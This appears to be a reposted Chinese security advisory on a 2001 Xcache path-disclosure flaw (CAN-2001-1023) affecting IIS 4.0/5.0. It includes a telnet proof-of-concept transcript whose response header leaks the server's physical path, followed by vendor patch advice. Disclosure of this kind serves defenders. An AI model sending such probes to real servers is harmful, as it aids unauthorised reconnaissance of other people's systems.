Xcache 路径泄露漏洞

2008-04-09 04:29:49来源：互联网阅读 ()

Xcache 路径泄露漏洞

发布日期：2001-09-26
更新日期：2001-09-26

受影响系统：

Xcache Technologies Xcache 2.0
- Microsoft IIS 4.0
- Microsoft IIS 5.0
Xcache Technologies Xcache 2.1
- Microsoft IIS 4.0
- Microsoft IIS 5.0

描述：

BUGTRAQ ID: 3352
CVE(CAN) ID: CAN-2001-1023

Xcache是工作在IIS前端的动态内容缓冲程序，用于提高IIS的性能。

Xcache提供了一个功能，让我们选择不缓冲哪些页面或目录。如果我们请求一个不被缓
冲的页面时，就可能导致物理路径泄露。

<*来源：（advisories@irmplc.com）
参考：http://archives.neohapsis.com/archives/bugtraq/2001-09/0182.html
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

（advisories@irmplc.com）提供了如下测试代码：

[macavity@horus ~/work/research]$ telnet 192.168.0.21 80
Trying 192.168.0.21...
Connected to 192.168.0.21.
Escape character is '^]'.
GET /home/index.html HTTP/1.0

HTTP/1.1 200 OK
Content-PageName: D:\Inetpub\wwwroot\home\index.html
Date: Tue, 18 Sep 2001 16:08:59 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 18 Sep 2001 15:10:48 GMT
ETag: "0ccc3185440c11:925"
Content-Length: 59
Server: Microsoft-IIS/5.0 Running XCache Version (2.1.5629.1)

<HTML>

<BODY>
This is a test...
</BODY>
</HTML>
Connection closed by foreign host.

建议：

厂商补丁：

目前厂商已经发布了补丁程序，请联系support@xcache.com来获得：
http://www.xcache.com/home/xcache_xcache_overview.htm

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有